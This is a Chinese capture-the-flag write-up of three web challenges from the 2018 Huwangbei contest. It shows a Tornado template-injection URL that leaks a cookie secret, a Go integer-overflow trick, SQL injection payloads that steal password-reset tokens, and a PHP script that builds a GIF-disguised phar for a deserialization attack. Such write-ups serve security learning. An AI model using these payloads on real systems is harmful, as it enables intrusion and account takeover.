2018护网杯-web部分题解

栏目: PHP · 发布时间: 7年前

内容简介:护网杯刚结束,记录一下做出的3道web(1道赛后解出),很遗憾有一道java没能解出。进入题目

2018护网杯-web部分题解

前记

护网杯刚结束,记录一下做出的3道web(1道赛后解出),很遗憾有一道 java 没能解出。

easy tornado

进入题目

http://49.4.78.81:30980/

发现有3个选项

http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a


Orz.txt 
render()

http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1


hint.txt 
md5(cookie_secret + md5(filename))

http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72


flag.txt 
/fllllllllllag

发现意思很明确,有签名,读文件

那么现在要做的就是leak cookie_secret

发现

http://49.4.78.81:30980/error?msg={{1^0}}

可以进行模板注入,但过滤了非常多的符号,应该只能读个变量

阅读tornado源码

https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py

发现 handler.settings 存放了cookie_secret

读取

http://49.4.78.81:30980/error?msg={{handler.settings}}

得到

Whoops, looks like somethings went wrong . 
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_<W%L3-T~AuQlBbqr6}ig', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}

随机构造签名读flag

http://49.4.78.81:30980/file?filename=/fllllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960

得到

/fllllllllllag 
flag{67a3d3dec827645c1c92d1f2160c744f}

ltshop

本能的条件竞争,换大辣条,50个线程,跑完发现自己有7个大辣条了,看来竞争略有成效

下面是辣条之王的艺术,考虑到是 go 语言,uint64可能存在溢出

http://www.it1352.com/808569.html

于是思考到,这里我们的兑换量应该*5,于是简单计算了一下

2018护网杯-web部分题解

然后我们这里兑换3689348814741910324即可溢出

2018护网杯-web部分题解

2018护网杯-web部分题解

easy_laravel

源码发现

这是本次的重量级题目:首先在f12源代码里发现

<!-- code: https://github.com/qqqqqqvq/easy_laravel -->

sql注入

于是下载源码,看一下控制器,不难发现有注入点

easy_laravel/app/Http/Controllers/NoteController.php

2018护网杯-web部分题解

于是尝试

admin' or 1#

2018护网杯-web部分题解

发现可以读到note,于是尝试union select

然后遇到了第一个坑点,我们在代码里可以看到

2018护网杯-web部分题解 于是我认为应该只有4列,然后一直就是wrong,wrong,wrong

很头疼的尝试了order by,发现是5列

注册: admin' order by 5#

2018护网杯-web部分题解 注册: admin' order by 6#

2018护网杯-web部分题解

然后尝试union select

2018护网杯-web部分题解

根据给出的表,我再信他一回:)

2018护网杯-web部分题解

admin' union select 1,(select password from users limit 0,1),3,4,5#

2018护网杯-web部分题解

2018护网杯-web部分题解

到这里为止,发现密码无法破解

那么如何登入管理员呢?

密码重置

这里还有一个表

2018护网杯-web部分题解

我们发现还能重置密码,而且只需要email和token!

那我们去拿管理员的token

admin' union select 1,(select token from password_resets limit 1,1),3,4,5#

2018护网杯-web部分题解

然后去重置管理员密码即可

2018护网杯-web部分题解

然后使用路径

http://49.4.78.81:31250/password/reset/1c9d0f377a75dd48abaa90dd7fa4eb35653da39561d6f9c33bdb14a8a0849616

2018护网杯-web部分题解

然后改密码即可登入管理员

到此为止,我们离flag又近了一步

登入后台

2018护网杯-web部分题解

发现有4个功能:upload,files,flag,note

这里flag点进去发现是 no flag

加上题目的提示:

2018护网杯-web部分题解

可以发现是blade过期的问题,这里简单搜索

https://www.jianshu.com/p/7d65f9eb94be

发现Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。

所以我们这的思路很清晰:

1.因为旧的缓存存在,导致我们看不到flag

2.我们可以利用pop chain删掉缓存文件

3.读到flag

那么缓存文件在哪里呢?我们查看源码发现

2018护网杯-web部分题解

那cachepath又是哪里呢?想到最开始的提示

nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

那么很容易得知web目录

/usr/share/nginx/html

然后再去发掘blade缓存位置

https://www.jianshu.com/p/018c83d6b38c

发现是

/storage/framework/views

再结合sha1,得到最后的路径

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

反序列化删除发掘

那么去哪里找删除函数呢?

这里发现 composer.json 中提供了大量组件,我们安装一下,然后全局搜索,容易发现有 unlink()

2018护网杯-web部分题解

phar神来之笔

那最后怎么触发序列化呢?这里用到了我们BlackHat会议演讲的phar://方法

参考这篇文章

https://xz.aliyun.com/t/2715

我们发现在check这里

2018护网杯-web部分题解

是会使用file_exists的,并且path和filename可控!

于是我们尝试构造

<?php
    include('autoload.php');
    $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
    var_dump(unserialize($a));
    var_dump($a);
    $a = preg_replace('//private/var/folders/dm/r80s8lp52bz1rcdhp5h9zlrw0000gn/T/FileByteStream[w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
    $a = str_replace('s:77', 's:90', $a);
    $b = unserialize($a);
    $p = new Phar('./skyfuck.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($b);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    rename('skyfuck.phar', 'skyfuck.gif')
?>

然后上传后触发

2018护网杯-web部分题解

最后即可看到flag

2018护网杯-web部分题解

后记

这次护网杯的题目还是很nice的,感谢4uuu Nya大佬的nice题目,和赛后帮助我理解Laravel的bendawang师傅,给跪了~


以上所述就是小编给大家介绍的《2018护网杯-web部分题解》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Head First JavaScript Programming

Head First JavaScript Programming

Eric T. Freeman、Elisabeth Robson / O'Reilly Media / 2014-4-10 / USD 49.99

This brain-friendly guide teaches you everything from JavaScript language fundamentals to advanced topics, including objects, functions, and the browser’s document object model. You won’t just be read......一起来看看 《Head First JavaScript Programming》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

MD5 加密
MD5 加密

MD5 加密工具

SHA 加密
SHA 加密

SHA 加密工具